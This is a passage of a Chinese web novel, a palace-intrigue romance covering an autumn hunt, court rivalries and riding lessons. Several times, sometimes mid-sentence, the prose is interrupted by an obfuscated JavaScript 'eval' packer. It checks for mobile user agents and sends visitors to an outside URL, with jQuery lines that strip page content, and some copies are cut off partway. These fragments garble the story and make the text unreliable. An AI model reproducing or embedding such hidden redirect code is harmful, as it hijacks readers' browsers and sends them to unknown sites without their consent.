此刻萧贵妃对她的满意到达了顶峰。 她到底还有多少惊喜是她不知道的。 “还是爱妃有能耐，赏，都赏。” 众人赶紧跪下谢恩。 “对了，我记得老七已经年满二十。” 众人没跟上皇帝跳跃的思维，纷纷向裴行止投去好奇的目光。 “回禀皇上，是的。” 说话的是珍妃。 “老七在战场上立了功，回来又替朕查了案子，便封为宸王可好。” 陛下竟然赐了宸字！ 要知道“宸”可是有君王之意。 刚才陛下不是还在抬举萧贵妃吗？ 现在又是什么意思？ 别人或许不明白他是什么意思，可沈晚眠最知道她的这位公公。 皇帝是怕萧贵妃一家独大，会让她们母子起了不该有的心思。 “都听皇上的。” 珍妃替儿子回答道。 裴行止向前一步和沈晚眠并肩而立。 “谢父皇。” “你们二人站在一起还挺般配的。” 皇帝出声打趣道。 裴行止面上波澜不惊，内心已经狂喜。 最好再给他俩赐个婚。 “陛下，您才答应了臣妾，难道忘了吗？” 萧贵妃知道皇帝的意思，她才不屑那种事。 在她看来她的儿子是太子，继位是迟早的事。 才不需要耍别的手段。 “没忘，没忘，这不是说着玩吗，好了，看戏。” 台上的戏继续唱了起来，众人的视线又都被吸引到台上。 唯独裴宴，他还在满脸怨愤地盯着沈晚眠。 沈晚眠只想离裴行止远一点，一靠近他，她就有一种说不出的慌张感。 因此，她没注意到裴宴的神情。 徐娇娇来到沈晚眠面前。 “沈二小姐，能否借一步讲话？” 徐娇娇的出现，刚好将沈晚眠解救。 二人来到僻静处。 徐娇娇一上来就要给她跪下。 把沈晚眠吓了一跳。 “你这是做什么？快起来。” 还好她动作快，她可受不起这一拜。 “请沈二小姐能收下我，我想跟您学本领。” “跟我学什么本领？” 徐娇娇目光坚毅，言辞恳切道：“我想跟您学管账的本领。” 原来是这样，她替萧贵妃管账的消息，传的还挺远。 “我如今在萧贵妃门下做事，能不能让你跟着我学本事，是我不能能决定的。” 徐娇娇见她松了口，赶紧补充道：“此事我姑母会跟贵妃娘娘提，只希望您能在贵妃娘娘面前说点我的好话。” “我大老远从江南来，就是希望能学些本事，跟着姑母在宫里长长见识，还望姐姐成全。” 什么！她是江南来的，那她一定知道李家的事。 “我问你，你是江南哪里的？” “我从扬州来。” 扬州！竟然是扬州！ 那她一定知道李家。 “那你可知道江南第一富商李氏” 徐娇娇有些奇怪，不是在说她学管账的事吗？怎么聊到李家了？ “自然认得。” “那你可知道……” 沈晚眠的话还没说完，就被远处传来的扑通一声打断。 随即传来一声宫女的惊呼：“来人啊，快来人啊，余贵人落水了！” 戏台那边自然也听到了动静。 皇帝和众嫔妃朝那边走去。 皇子们本想跟去，被裴行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087518|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止拦下。 落水的是他们的母妃，若是他们去了，未免不太合适。 沈晚眠赶到时，余贵人已经被救上来了。 此刻她衣衫半湿近乎透明，紧贴着她的身躯，展示出她傲人的曲线。 但她脸上的妆容却丝毫没有花，几缕发丝贴在脸上看起来更添几分风情。 皇帝看了眼睛都直了，他将余贵人揽在怀里，又亲手为她披上披风。 “陛下，嫔妾失仪，还请您恕罪。” 娇滴滴的小美人在怀，皇帝被迷的七荤八素。 “怎么回事？伤到了没有？” “多谢陛下关心，嫔妾本想着拿些鱼食喂喂鱼，一不小心踩空了，才落了水。” 众嫔妃在后面看着，一个个都咬碎了牙。 狐媚子，就会使这些下三滥的手段勾引陛下。 沈晚眠偷偷看了眼萧贵妃。 好吧，她就知道，萧贵妃如此好面子，怎么能不生气。 这事儿如果就这么算了，恐怕回去不会有她好果子吃。 “娘娘，您这样……” 沈晚眠小跑到萧贵妃身边，对她耳语道。 萧贵妃冷冷一笑。 “果真是不小心吗？别是有心人故意推了妹妹，妹妹不想将此事闹大才压下没说。” 余贵人有些慌：“真的是我不小心掉下去的，与他人无关，贵妃娘娘多虑了。” “是吗？今日你不小心，明日她不小心，这后宫岂不翻了天了，来人，给我彻查此事，务必要给余贵人一个交代。” 余贵人彻底慌了，是她故意跑到水里，万一被人看见了，自己岂不偷鸡不成蚀把米？ “陛下，您就别让贵妃娘娘操劳了。” 她无助的看向皇帝，希望能靠皇帝压下萧贵妃。 “此言差矣，贵妃也是为你好，万一真的有人故意推你呢？” 皇帝知道，有萧贵妃在，今日他是抱不回美人归了。 “娘娘查到了，这个宫女看到了全程。” 慧心的动作极快，不一会便把“目击证人”带上来了。 小宫女瑟缩着跪在地上。 她将头埋得很低，怕会被人看到脸上的心虚。 “回禀陛下，奴婢看到……奴婢看到余贵人故意往水里跳……” 第56章 福星 萧贵妃轻蔑一笑：“哦？竟是如此，余贵人，她说的可是真的？” 其余妃嫔都幸灾乐祸的看向余贵人。 活该，让她装。 “不是这样的，陛下，嫔妾真的是不小心才掉进去的，是这个贱婢……是她在冤枉嫔妾，您要为嫔妾做主啊。” 皇帝烦躁道：“贵妃看着处理吧。” 真没用。 “余贵人无视宫规，故意引诱皇上，便扣你半年份例，禁足宫中。” 敢在她的地盘耍小心机，这就是下场。 余贵人还想说点什么，可目光触及到皇帝冰冷的眼神，便硬生生把话咽了下去。 “嫔妾知罪。” 慧心朝沈晚眠点点头，事情算是办妥了。 这余贵人还真是蠢，竟然敢在萧贵妃面前公然争宠。 自作孽不可活。 皇帝被扫了兴致，剩下的戏也不想看，便直接回了养心殿。 “既然陛下都走了，那姐妹们都散了吧。” 萧贵妃把众嫔妃打发走。 唯独兰嫔没有动。 “兰嫔，你还有别的事？” 兰嫔将身边的侄女拉过。 “贵妃娘娘，这是臣妾娘家侄女，娇娇，快给贵妃娘娘请安。” 徐娇娇盈盈一拜：“民女徐娇娇。参见贵妃娘娘，贵妃娘娘万福金安。” 萧贵妃斜睨了她一眼，语气十分不耐烦道：“起来吧！” 这兰嫔又在打什么主意？ 她刚惩治完余贵人，她又来凑什么热闹。 “臣妾想让他跟着娘娘身边的沈二小姐学些本领。” 萧贵妃有些诧异的看了眼沈晚眠。 “跟她学本领？” 兰嫔回答道：“正是，沈二小姐才貌双全又精通中馈之术，臣妾想着让她跟沈二小姐学些本领，也不枉进京一趟。” 自己选中的人被人认可，萧贵妃莫名感到骄傲。 “这事儿还得问问她自己的意见，沈二，你觉得呢？” 若能和徐娇娇走的近，打听她母亲的事便容易了。 “承蒙两位娘娘抬爱，臣女惭愧。若是兰嫔娘娘信的过臣女，臣女愿意和娇娇姐姐作伴。” 萧贵妃原以为她是想往太子房里塞人，没想到是个来学艺的。 不过多一张嘴的事，她还是养得起的。 “行，那便随本宫回去吧。” 萧贵妃将安顿徐娇娇的事交给了慧心去做。 慧心把徐娇娇带了下去。 房间里只剩萧贵妃和沈晚眠。 “娘娘可有话要说？” “过几日陛下就会带着各宫妃嫔和皇子公主去猎场参加秋猎，我想带你同去，你可愿意？” 沈晚眠不假思索道：“臣女愿意。” 如果她不走，皇后定还会寻她的麻烦，到时候萧贵妃不在宫中，没有人为她撑腰，岂不任人宰割。 “那你回去准备一下，估摸着几日后就要启程。” 沈晚眠回到自己房里，她躺在床上，回忆起今日宴会上的可疑人员。 她思索了半天，也没有发现谁不对劲。 难道那人还没进宫？ 既然是十年后才对她下的手。 那她可以将十年后宫里的人，与如今宫里的人一一对比。 重叠的那部分人就是最有嫌疑的。 当然，可能他现在还没有进宫，不过能悄无声息地将他和裴宴双双毒死，这人一定不容小觑。 她理了半天还是毫无头绪。 算了，如今她才刚进宫，不及于一时。 第二日，萧贵妃将把她想着沈晚眠去参加秋猎的事跟皇帝提了，皇帝表示贵妃开心就好。 沈晚眠本人对此毫不知情，她正在教徐娇娇如何看账本。 门外忽然传来几声鸟鸣，沈晚眠愣了一瞬。 “怎么了？”徐娇娇问道。 “没什么，你先看着，我出去一趟。” 沈晚眠来到外面，左右看看，没发现有人。 奇怪，她明明听到了阿烟的声音。 难道…… 她回到自己的房间，发现床上多了一套骑装，还有一封信。 她将信封打开，里面只有短短三个字。 “猎场见。” 看着信和衣服，她总感觉心里闷闷的堵堵的。 不知道什么时候，她对裴行止的感觉发生了变化。 往常与他相处时，她总是自在的。 就算知道他对自己有意，她也没这种感觉。 如今这是怎么了？ 一想到他，她便心慌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16087519|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，一见到他，她便想躲。 或许是他帮自己太多，自己却从没帮他做过什么。 让她心生愧疚吧。 她将不好的情绪全部甩在脑后。 不能让别人看出她的异样。 “沈二小姐，你在里面吗？” 慧心的声音从门外传来。 沈晚眠慌忙将骑装收起。 “我在，怎么了。” “静妃娘娘吃了您的点心，想问问您是如何做的，此刻正在娘娘宫里等着您呢。” 沈晚眠整理好情绪，随慧心去了永和宫正殿。 “你来啦，快告诉本宫你这点心是用什么做的，我叫我宫里的丫鬟学了做给我吃。” 静妃见了沈晚眠忙热情招呼道。 虽然她的封号是静，但她却一点都不静，反而是宫里最喜热闹，最喜打趣的人。 她对宫人也是十分和善，宫人们都很喜欢她。 她没有皇子，只有一个六公主，但她对此却不甚在意。 静妃的理念，只要她们母女能平平安安，便是岁月静好。 静妃喜欢吃，这一点和萧贵妃不谋而合，因此二人关系也更加亲密。 “静妃姐姐在吃这方面，真是一点都不含糊。” 说话的是宣妃。 宣妃为人圆滑世故，名下有一四皇子。 但她家世不显，四皇子的诗书骑射与其他皇子相比略显平庸。 故皇帝对他们母子并不重视，前些他犯了错，皇帝将他贬去边疆，至今未归。 不过皇帝刚刚下达诏令，将他召回参加今年的秋猎。 沈晚眠环视一圈。 静妃，宣妃，还有性子最为胆小的柔嫔，与萧贵妃交好的嫔妃都在这儿了。 除了这三人，还有珍妃。 珍妃最是洒脱随性，不常在宫中走动，今日能来这里，一定与裴行止脱不了关系。 “给各位娘娘请安。” “不必多礼，快告诉本宫你的秘密配方。” 萧贵妃附和道：“瞧把她急的，沈二，你快些告诉她吧。” 自打沈晚眠来了宫里，每日都能给她带来不一样的惊喜。 她如今对沈晚眠已经完全改观了。 这哪里是迷惑太子的狐狸精，分明是她的福星。 第57章 秋猎 看萧贵妃的态度，沈晚眠知道，她已经成功在永和宫立足。 “回禀娘娘，臣女这就将方子写下。” 沈晚眠提笔，将糕点的配方写在纸上。 宣妃打趣道：“贵妃娘娘这是从哪寻来的可人儿，想必沈二小姐与太子殿下也有段缘分吧。” 珍妃一直没有说话，不过此刻，她喝茶的动作一顿。 “他们小辈的事，他们自己做主，本宫就不跟着掺和了。” 萧贵妃特意隐瞒了沈晚眠与太子之间的那笔烂账。 当时她的确不喜沈晚眠，不过现在情况不同。 如若宴二愿意的话，也不是不行。 沈晚眠写完单子，将它交给静妃。 静妃点点头，不由得赞赏道：“这字真是不错，听说兰嫔的侄女也在永和宫，跟着你学本领呢。” 沈晚眠点点头：“兰嫔娘娘不过是看在贵妃娘娘的面子上，臣女那些三脚猫功夫，登不得大雅之堂。” 静妃不赞同道：“怎么能是三脚猫功夫，又会做饭，又会管账，还能想出戏文，这可都是实打实的真本领，我都想把小六交给你，请你帮我教教她了。” 小六和小九，近日因为一个男人斗的让她头疼。 若是把她送到永和宫，她也能消停点。 沈晚眠受宠若惊：“娘娘快别取笑臣女了，臣女怎么配教公主殿下呢。” 她知道，以静妃的性情，真有可能干出这事。 同意教徐娇娇是因为她无足轻重，且还是江南来的。 若是让她教公主，可是件麻烦事。 宣妃眼珠子一转，立马来了主意。 “老四，老五，老七，还有小八，都到了成婚的年纪，不如我们从京中选些女娘，将她们接到宫中，加以教导，正好挑挑，有没有合适的。” 一直没说话的柔嫔也开口了。 “宣妃姐姐说的对，咱们这些人平时就在宫里，对京城的女娘并不熟悉，孩子们都大了，若要为他们挑选新妇，需得知根知底才好。” 柔嫔的八皇子也到了该成婚的年纪。 宣妃的话一出口，她是第一个赞同的。 萧贵妃仔细想了想。 “珍妃，你觉得呢？” 珍妃才不操心裴行止的婚事，这不，他儿子的心上人就在这呢。 不过她没表现出来。 “我都可以。” 萧贵妃沉思片刻：“这事急不得，等咱们从猎场回来再议。” 时间很快来到出发去猎场的这天。 紫禁城的宫门前马车喧嚣，一条浩浩荡荡的皇家队伍整装待发。 随着一声令下，队伍缓缓前行。 各宫伺候的宫女太监，亦步亦趋，小心的侍奉着。 马车的行驶速度很慢，不过走了半日，才走到城郊。 宫里的贵人们哪里受过这般颠簸。 都纷纷下了马车，出来透口气。 沈晚眠也不例外，她被吉祥搀扶着，来到小溪旁。 “小姐，那是宸王殿下吗？他朝我们这儿来了。” 沈晚眠迅速用余光扫了一眼。 哎，真是麻烦。 “我休息好了，咱们回去吧。” “啊？可是我们才刚下来。” 人就要到了。 沈晚眠有些急，拉起吉祥就往回跑。 特意跑来见人的裴行止扑了个空。 她这是在躲着他？ “小姐，您和宸王殿下闹别扭了？” 沈晚眠心不在焉道：“没有。” 吉祥继续追问：“那您干吗躲着他？” “那是因为……你再瞎问，我就把你嫁出去。” 吉祥赶紧求饶：“小姐我错了，我再也不问了。” 是啊，她到底在躲什么。 有什么不能面对的呢。 马车晃晃悠悠，她的心里也跟着泛起阵阵涟漪。 等到夕阳西下，才终于到了目的地。 沈晚眠刚下马车，还没来得及收拾行囊，便被裴行止半路拦住。 “为何要躲着我？” 沈晚眠心虚的别过脸：“没有啊……没有躲你。” “那你为什么不敢看我？” 沈晚眠支棱起脑袋，和他对视。 “我，没有，躲着你。” “相信了吧。” 裴行止刚要开口，却被匆匆而来的季少渊打断。 “裴七，终于见到你了，你不知道，这些日子我……” 二人同时回过头，季少渊的抱怨还没说完，硬是卡在嘴边生生咽了下去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088241|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “沈二小姐，你也在啊，哈哈……” 在裴行止幽怨的眼神中，季少渊强颜欢笑道：“呃……不好意思，打扰你们了，我先撤？” 裴行止忍不住扶额：“有事？” 按道理来说，季少渊身为文官，压根不用参加秋猎。 可这些日子，六公主和九公主同时看中了他。 二人原就不对付，他的出现更是让她们斗得你死我活。 季少渊夹在中间，有苦说不出。 两个公主已经够他头疼。 更要命的是，同僚都因此事与他疏远。 背地里还叫他“狐狸精”“蓝颜祸水”。 这不，两位公主一听说父皇要带她们参加秋猎。 竟同时对季少渊发出邀请。 同行的没有文官，季少渊只能被迫与武将一起。 刚到目的地，六殿下便气势汹汹的朝他这来。 要是待会让九殿下看见了。 两个小祖宗又得吵破天。 受伤的还是他。 为了保命，他只能来找裴七。 “既然你们有事要谈，我便不打扰了。” 沈晚眠抓住机会，立马开溜。 但她不知道，她的背后，一直跟着一道目光。 裴宴冷着脸上前，一把握住她的胳膊。 沈晚眠被吓了一跳，看到是他后才稍稍放下心。 “你做什么？！” 裴宴皱起眉，不由分说的拉着她往自己的地盘走。 沈晚眠挣脱不开，只能快步跟上。 还好一路没碰到人，不然她有嘴也解释不清。 “你发什么疯！” 到了帐中，沈晚眠终于甩开了他的束缚。 裴宴一步步向她靠近，将她逼进角落。 “你费劲心机讨我母妃欢心，不就是想与我重蹈覆辙，又为何要与老七纠缠不清，沈晚眠，欲擒故纵不是这样玩的。” 裴宴猛的捏住她的下巴，俯身就要亲上去。 “啪” 沈晚眠扬起胳膊，狠狠给了他一巴掌。 裴宴愣住，脸还没来得及收回,“啪”，又是一巴掌。 四皇子刚掀开帘子，就看到了这番景象。 “额……我好像来的不是时候？” 第58章 报复 裴卿尘退了出去，刚才的场面真是…… “进来吧。” 裴宴尴尬极了，但如果此事被他传出去，他的脸面往哪搁？ “刚才孤……脸上有虫子，她在帮我拍虫子，四兄不要误会…” 裴卿尘尬笑两声：“哦……哈哈，我刚才什么都没看到。” 裴宴清咳两声，清了清嗓子。 “你有事吗？” 裴卿尘难为的看向沈晚眠。 “这位是？” 沈晚眠行了一礼：“臣女沈晚眠，四殿下安。” “原是沈太傅爱女，失敬，失敬。” 裴宴与沈晚眠对视一眼，他们好像知道他是来干什么的了。 “我与太子殿下有话要讲，沈二小姐可否暂且回避？” 裴宴微不可察的皱了皱眉。 “无事，她不是外人，有什么话你说吧。” 什么叫她不是外人，他们关系很好吗？ 沈晚眠默默翻了个白眼。 不过比起裴宴，裴卿尘才是最可恶的那一个。 “既然如此，我便直言了，我想回京城，希望太子殿下看在我们一起长大的份上，帮我一把。” 上一世，也是这个时候，裴卿尘找到沈晚眠。 当时她还未与裴宴正式成婚。 他便左一句弟媳，右一句弟媳，将她哄得晕头转向。 最后裴宴的确帮了他，在那之后裴卿尘左右逢源，迅速在京中站稳脚跟。 他做的第一件事，就是搅乱沈晚眠和裴宴的婚事。 往后十年，他们夫妻没少被裴卿尘祸害。 因为他，裴宴更是经常拿这事和沈晚眠吵架。 重来一世，他们可不想重演农夫与蛇的故事。 “孤知道了，四兄没有别的事就先回去吧。” 见裴宴态度冷淡，裴卿尘继续添油加醋。 “我听说近日老七很是不安分，前些日子他竟丝毫不顾兄弟情谊，直接将三兄一窝端。” “他如此心狠手辣，难保不会对你下手，且父皇对他很是看重，咱们兄弟须得齐心合力，才能防止老七生了不该有的心思。” 裴宴无语极了，他还是那么油嘴滑舌。 “四殿下多虑了，三殿下被惩治乃是陛下的意思，宸王殿下不过是公事公办罢了。” “再者，太子殿下清正廉洁，宸王殿下公正无私，二位殿下兄友弟恭，您担心的事情，不会发生。” 沈晚眠看到他就气不打一处来。 便忍不住回怼。 裴卿尘不死心：“此言差矣，人心还得隔肚皮呢，你怎知老七没有别的心思？” 沈晚眠火力全开，还夹杂着上一世的怨愤。 “这么说，您是觉得二位殿下品行不端，所以必然会兄弟阋墙？” 裴卿尘没想到她居然如此大胆，他被怼的说不出话。 “你……你…” “殿下勿怪，臣女就是这般心直口快，若是哪里讲的不当，还请您大人有大量，不要同一个小女娘计较。” 自打重生以来，她说的每句话，做得每件事，都是小心谨慎，好久没有这么痛快了。 裴宴忍住笑意。 刚才被打的两巴掌，早已被他抛掷九霄云外。 比起沈晚眠，眼前的人才更可恨。 “四兄，我们身为男子就不要与女娘斤斤计较了吧。” 裴卿尘算是明白了，这两人压根就不把他当回事。 好好好，此处不留人，自有留人处！ 裴卿尘离开后，沈晚眠也不想单独和裴宴待在一处。 “贵妇娘娘吩咐我去准备些糕点，我先走了。” 话毕，她没理会裴宴的脸色，自顾自走了。 夜幕降临，秋猎场却还是一片灯火通明的热闹景象。 篝火嚣张的跳跃着，将天边映红。 皇帝举起酒杯，与蒙国首领隔空碰杯。 蒙国一直是他们大齐的附属国。 这次秋猎，皇帝为了加强与蒙国的关系，特地请蒙国王族一同参加。 “阿父，陛下，这么好生烈性，能否将它赐予阿婷？” 呼延婷一身红衣劲装，纵马而来。 呼延山悟厉声喝斥：“阿婷，当着陛下的面不许胡闹。” 皇帝哈哈大笑道：“无妨，草原儿女本该不羁，既然王女喜欢那便赐给你了。” 呼延婷一喜，赶忙谢恩：“多谢陛下。” “这位是中原的公主吗，可否会骑射？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088242|179035||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈晚眠在萧贵妃身后当背景板当的好好的，突然被提到，她有些懵。 “回禀王女，家父是朝中臣子，臣女并非公主。” 呼延婷挑眉。 “那你可是姓沈？” 看来她是专门冲着自己来的。 可他与呼延婷并无交集，为何…… 裴卿尘！ 沈晚眠朝皇子的席坐望去，果然，裴卿尘正幸灾乐祸的看着她。 “是，臣女姓沈。” 呼延婷追问：“那你可会骑马，可敢与我比试一场？” 沈晚眠摇摇头：“回禀王女，臣女并不精通这些。” 谁知道那该死的裴卿尘跟她说了什么，这人还真是睚眦必报。 呼延婷满不在乎道：“不会可以学啊，等你学会了再与我相比，可好？” 呼延山悟皱起眉头。 “阿婷，别为难人家，还不快过来。” 虽然他这么说，却依旧坐在原位。 沈晚眠恭维道：“即便臣女学会了，也不能与王女相比，臣女认输，还请王女高抬贵手。” 呼延婷才不会轻易放过她。 她可是与中原的皇子打过赌，如果不能堂堂正正地赢了她，那自己不就输了吗。 “诶，我说你这人，还没比呢怎么就认输？” 六公主裴舒妍看不下去，呼延婷实在欺人太甚。 “我同你比，我会骑马。” 九公主裴汐和也跳出来。 “我也会骑，我同你比。” 裴舒妍气急，怎么不管她要做什么，裴汐和都要跟她抢。 “你做什么？怎么哪里都有你？” 裴汐和也不甘示弱：“怎么只许你帮，不许我帮？” **味从空中弥漫开，皇帝见形势不对，赶紧制止。 “行了行了，沈家小女娘，你就应了吧，既然不会那朕就找人教你。” “小六小九，这事儿就交由你们了，务必将沈家小女娘教会。” 这些日子她们二人追着探花郎满京城的跑，实在有失体统。 刚好可以分散下她们的注意力，省的季少渊天天向他诉苦。 沈晚眠简直一个脑袋两个大。 这都是什么事。 第59章 骑马 本来她觉得自己与季少渊同病相怜。 一个被两位公主抢。 一个被两位皇子追。 现在好了，公主和皇子都来难为自己了。 还外加一个蒙国王女。 她向萧贵妃投去求救的目光。 萧贵妃心虚安慰道：“你试试吧，本宫相信你。” 现在好了，最后一根稻草也把她压垮了。 沈晚眠欲哭无泪，只得被迫应下这差事。 “那谁，你就放心吧，本公主一定能教好你。” 裴舒妍信誓旦旦的向她保证。 她挤出一抹淡淡的笑：“多谢六殿下好意。” 裴汐和冷嘲热讽道：“还是让本公主来吧，你教的明白吗？” 她笑的更命苦了：“多谢九殿下好意。” 宴席散去，已是深夜。 沈晚眠被两位公主挟持着到了马场。 “二位殿下，夜深了，咱们明日再学可好？” 二人难得意见一致，异口同声道：“不行！” 到了为她选马的时候，二人又吵了起来。 裴舒妍：“这匹马颜色漂亮，选这匹！” 裴汐和：“这马乖顺，一看就好驾驭，选这匹！” 裴舒妍：“选这匹！” 裴汐和：“要这匹！” 沈晚眠被她们吵得头疼。 “别吵了，二位。” “那你自己选，你要那匹！” 此刻，沈晚眠只想将自己的嘴缝起来，她干嘛要多说那一句。 “皇姐，皇妹，原来你们在这。” 裴行止不知突然从哪里冒出来。 “我们忙着呢，你有何事？” 裴行止故意压低声音。 “我刚才看到季少渊鬼鬼祟祟的，还念叨着要逃回京城，你们不去看看吗？” 两人一听，哪还顾得上什么马，直接将沈晚眠丢在原地，急急忙忙的走了。 沈晚眠与裴行止对视一眼，二人都从彼此眼中看到了无奈。 “等等，我走了，她怎么办，谁来教她？” 裴汐和又折返回来。 “放心去吧，有我在，我来教。” 听到这话，裴汐和才安心的追季少渊去了。 二人再次对视，都忍不住笑出声。 “那便只能麻烦七殿下了” 夜，如一块深邃的墨玉，银盘般的月高悬天际，为草原蒙上一层梦幻的薄纱。 二人并肩而立，缓步走在草原上。 裴行止身着玄色劲装，身姿挺拔如松，原本凌厉的眉目，也被月光抚平，尽显柔和。 沈晚眠一袭淡蓝色罗裙，长发如瀑，几缕发丝被微风吹起，搅乱了裴行止的心。 “上马吧，我扶着你。” 沈晚眠借着他伸来的胳膊，成功爬上马鞍。 他让沈晚眠抓好马鞍，自己则为她牵起缰绳。就这样，马儿在他的指挥下缓步前行。 沈晚眠有些紧张，她是第一次骑马。 只是这样她便觉得有些颠簸，若这马跑起来，她怎么受得了？ 都怪她逞一时之快，这下好了，报应来了。 裴行止看出她的抗拒，便翻身上马，从背后环住她。 沈晚眠惊呼：“你做什么！” “按你这骑法，猴年马月才能学会。” “到时候和王女比试，输了不要紧，如果连骑都不能，你让陛下情何以堪？你让两位公主情何以堪？” “若萧贵妃厌了你，将你逐出宫去，你该如何？” 沈晚眠被他说的哑口无言。 她小声嘟囔道：“我学还不行吗。” 在裴行止的引导下，她逐渐掌握了骑马的节奏。 约莫半个时辰，她累得腰都要断了。 “不行了，我得歇会。” 裴行止将她从马上抱下来，脸都红到了耳朵旁。 这半个时辰，沈晚眠一直紧挨着他的胸膛。 同时，也感受到他慌乱的心跳。 她不敢直视他的眼睛，便把目光移向别处。 不偏不倚，她看的地方刚好是裴宴藏身的地方。 恰好，裴宴有一块衣角裸露在外面，自己却不知情。 沈晚眠了然于心，她起了个邪恶的念头。 “白天你还没回答我呢，你为什么……” 裴行止的委屈还没诉说完，便被沈晚眠堵进了嘴里。 这一吻，如蜻蜓点水，转瞬即逝。 裴行止动作一僵，整个人仿佛被定住了一般。 短暂的幽香让他心头猛地一颤。 时间仿佛凝固在了此刻。 等他反应过来，沈晚眠正似笑非笑的看着他。 “你……你…” 话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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随后，她躺在床上，翻来覆去，怎么都睡不着。 只要一闭上眼，她的脑海里就自动回放那两个吻。 啊啊啊啊啊啊，她到底在干什么！ 第60章 反差 她怎么能…… 唉，亲都亲了，再后悔也没有用。 不过她今日亲上去时，内心竟然有一丝暗爽。 美色误人，对，定是美色误人…… 沈晚眠将自己哄好，又在床上滚了半天。 最后实在累的受不住，才昏睡过去。 第二日，她是活生生疼醒的。 一觉睡醒，身上反复被车轮轧过般，尤其是腰，疼的她都想骂人。 “吉祥，快，快给我揉揉，我的腰……” 吉祥仿佛提前预料到她会这般。 拿着药油满脸淡定向她走来。 “你真贴心，还提前备了药油。” 吉祥脸的八卦之心掩盖不住。 “药油是宸王殿下身边的木槿送来的，小姐，昨日你们做了什么，你为何会腰疼，嘿嘿嘿。” 吉祥满脸邪恶，沈晚眠知道她在想什么，无语到了极点。 “你这丫头，就是不学好，天天看话本子，脑袋都快看傻了。” “我腰疼是骑马骑的，快收收你的坏心思，你家小姐快疼**。” 吉祥有些失望，原来只是骑马，不对，骑马！ 陛下不是让两位公主教吗，怎么是宸王殿下送的药？ 莫非昨日是宸王殿下教的小姐？ 夜色醉人，孤男寡女，共骑一马。 难保不会发生点什么。 嘿嘿，又让她发现华点了。 不过这次她没问出来，而是自己默默发笑。 沈晚眠见她这样，就知道她又想多了。 随便吧，她累了。 “沈二，快去练马！” “你干什么，明明是我先来的，沈二，你起来了吗？” 裴舒妍和裴汐和的声音从帐篷外面传来。 沈晚眠听了只想装死。 “沈二，你怎么还在床上，快起来。” 二人合力将她从床上拉下来。 沈晚眠求饶道：“二位殿下，饶了我吧，我已经会骑了。” 她们才不信沈晚眠的鬼话。 “才一晚你就会骑了，七兄难道会仙术不成？” “就是，除非你骑一个，给我们看看。” 沈晚眠被她们拖到空地，没办法，她只能将学到的皮**向她们展示。 人无精打采，马也只象征性的走了两步。 这可不行，她们还想让沈晚眠赢过呼延婷呢。 “骑是会骑了，不过差点意思。” 裴舒妍灵机一动，一把拍在马屁股上。 马受了惊，立马加快速度，驮着沈晚眠跑向远处。 沈晚眠的惊呼声还回荡在原地。 “这才对嘛。” 裴舒妍满意的点点头。 “你干什么！她会摔下来！” 裴汐和怒喝一声，翻身上马追了出去。 等她追上时，沈晚眠已经安全落地。 旁边还站着满脸写着不高兴的裴行止，为她牵马。 “你没事吧，有没有受伤。” 沈晚眠还没回过神，她面色苍白的摇摇头。 “你们就是这样教她的？” 裴行止忍不住训斥道。 刚才要不是他在，后果不堪设想。 裴汐和平日里最怕七兄，现在他还冷着脸，看起来更可怕了。 “你那么凶干嘛，是我拍的马屁股，我知道错了。” 裴舒妍也赶了过来，离得老远她就看到小七在训斥裴汐和。 她可不想让裴汐和替自己背锅。 “皇姐，这是能由着你胡闹的事吗？” 平日里小七大多时候都面无表情，也不怎么爱说话。 她总觉得他小小年纪便一把年纪。 今日看他说这么多，倒显的年轻了。 “好了小七，我道歉还不行，沈二，对不住了，是我唐突了。” 听到这个称呼，还是当着沈晚眠的面，裴行止莫名感到丢人。 “咳咳，皇姐，你只比我早出生几日，别这样叫我。” 裴舒妍不服：“早一个时辰也是早，不跟你废话了，沈二，练马去。” 